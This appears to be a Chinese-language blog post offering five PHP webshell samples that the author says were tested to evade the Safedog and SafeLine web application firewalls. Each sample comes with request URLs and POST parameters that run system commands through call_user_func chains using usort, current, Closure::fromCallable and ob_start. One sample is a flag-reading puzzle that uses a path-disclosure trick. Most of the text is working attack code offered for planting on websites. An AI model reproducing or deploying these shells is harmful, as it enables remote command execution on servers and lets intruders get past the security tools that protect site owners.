目录
一:前景
二:样本
样本一:
样本二:
样本三:
样本4:
样本5:
一:前景
在我们日常的网站中百分之一百是存在一些安全设备来拦截我们的webshell的,一般情况下不可能裸奔,一些比较好用的免费waf通常为安全狗,长亭科技的雷池waf等。当我们上传的webshell被查杀出来以后就直接失效。
提供以下几种样本来绕过webshell的检测,并且亲测可以绕过安全狗和雷池。
二:样本
样本一:
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
$a = call_user_func($action, ...$parameters);
call_user_func回调后面。
$parameters = $_GET; 相当于变量parameters接收所有的get传参。在后面的过滤中将action参数过滤。
由此我们构建利用:
方式1:http://127.0.0.1/test.php?action=system&1=whoami 方法1比较简单。
方式2:http://127.0.0.1/test.php?action=usort&0[0]=system&0[1]=whoami&1=call_user_func
方法2使用usort函数来进行利用,usort传递两个参数,一个数组和一个函数。可以去官网查看具体用法:PHP: Hypertext Preprocessor
经历过程:
call_user_func(usort,0[0]=system&0[1]=whoami&1=call_user_func)
usort(0[0]=system&0[1]=whoami,call_user_func)
call_user_func(system,whoami)
样本二:
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
结构和样本一类似。我们直接看利用方式。
方法1:http://127.0.0.1/test.php?action=current&a=current POST:a[]=system&b=whoami
方法一利用的是current这个函数,我们可以去官网查看用法:返回当前数组中的值。
经过:从下面就可以很清晰的看到解析的过程。
call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
call_user_func(current,current)($_POST['a'])($_POST['b']);
current($_POST['a'])($_POST['b']);
a($_POST['b']);
system(ls);
方法二:http://127.0.0.1/test.php?action=Closure::fromCallable&0=Closure&1=fromCallable
POST:a=system&b=whoami
方法二主要使用的是PHP原生类静态方法Closure::fromCallable(这个方法为Closure类下的fromCallable方法),它也可以去调用方法和call_user_func类似。
call_user_func(Closure::fromCallable,0=Closure&1=fromCallable)= Closure::fromCallable
相当于调用自身。
经过:call_user_func(Closure::fromCallable, 0=Closure&1=fromCallable)($_POST['a'])($_POST['b']);
Closure::fromCallable(Closure, fromCallable)(system)(ls)
这里又相当于使用Closure::fromCallable调用Closure类下的fromCallable方法。即:Closure::fromCallable(Closure, fromCallable)= Closure::fromCallable
Closure::fromCallable(system)(ls)
调用system方法。
System(ls)
样本三:
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
if(count(glob(__DIR__.'/*'))>3){
readfile('flag.txt');
}
?>
很明显:这里是要读取flag.txt这个文件,但是这里存在一个前提那就是当前路径下的文件数量要大于3个。
加上flag.txt文件和当前的php文件就还是只有两个文件。还差至少两个文件。
利用方法:这里可以利用session_start命令,将session文件防止到当前文件下面。不过在这之前我们还需要知道当前文件的绝对路径。通过报错来定位当前物理路径,报错的方法有很多,大体是通过引入一个函数并传递“不合法”的参数,这里给一个方法来报路径:
16.php?action=register_tick_function&0=SplFixedArray&1=toArray
利用:http://127.0.0.1/test.php?action=session_start&save_path=D:\phpstudy_pro\WWW
当我们回车之后就会生成一个session在当前路径下面,我们只需要去更改如下cookie中的值后再次回车即可,再次回车之后又会生成一个session文件。此时就可以读取到flag.txt文件了。
样本4:
<?php
Class A{
static function f(){
system($_POST['a']);
}
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
利用方法:http://127.0.0.1/test.php?action=call_user_func&0=A&1=f POST:a=dir
直接使用call_user_func调用类A下的f方法。
样本5:
<?php
Class A{
static function f(string $a){
system($a);
}
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
echo $_POST['a'];
利用方法:http://127.0.0.1/test.php?action=ob_start&0=A&1=f POST:a=whoami
这里主要利用的是ob_start这个函数,可以去官网查看该函数的用法:
Ob_start:打开输出缓冲,相当于在使用ob_start后会自动接受POST数据。Ob_start与call_use_func类似,可以接收两个参数。
Ob_start(A,f)相当于调用类A下面的f方法。